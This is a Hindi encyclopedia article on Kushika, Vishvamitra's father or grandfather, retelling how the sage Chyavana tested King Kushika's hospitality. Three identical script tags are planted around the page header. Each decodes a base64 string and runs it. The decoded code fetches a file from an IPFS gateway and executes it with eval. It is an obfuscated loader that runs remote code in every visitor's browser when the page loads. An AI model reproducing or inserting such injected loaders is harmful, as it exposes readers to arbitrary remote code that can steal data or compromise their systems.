कुशिक
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
चित्र:Tranfer-icon.png | यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
कुशिक ऋग्वेद के अनुसार विश्वामित्र के पिता; किंतु महाभारत और हरिवंश आदि के अनुसार उनके पितामह अर्थात् गाधि के पिता।
एक बार च्यवन ऋषि को ध्यानबल से पता चला कि कुशिक वंश के ही कारण उनके अपने वंश में क्षत्रियत्व की प्राप्ति होगी अर्थात् वर्णसंकरता का प्रवेश होगा। इस अवांछनीय स्थिति से बचने के लिए च्यवन ने कुशिक वंश को भस्म कर देने का निश्चय किया और महोदयपुर गए। वहाँ जाकर वे राजा कुशिक और उनकी रानी को तरह तरह से कष्ट देने लगे किंतु उन लोगों ने उनका ऐसा आतिथ्य किया कि उन्हें रुष्ट होने का अवसर ही नहीं मिला। निदान प्रसन्न होकर च्यवन ने उन्हें वरदान दिया कि तुम्हारा पौत्र ब्राह्मणत्व की प्राप्ति करेगा। फलस्वरूप विश्वामित्र ब्रह्मर्षि हुए। उधन च्यवन के वंशज ऋचीक ने कुशिकपुत्र गाधि की पुत्री से विवाह किया जिससे जमदग्नि पैदा हुए। उनके पुत्र परशुराम, ब्राह्मण होते हुए भी क्षात्रधर्म में प्रवृत्त हुए ।
टीका टिप्पणी और संदर्भ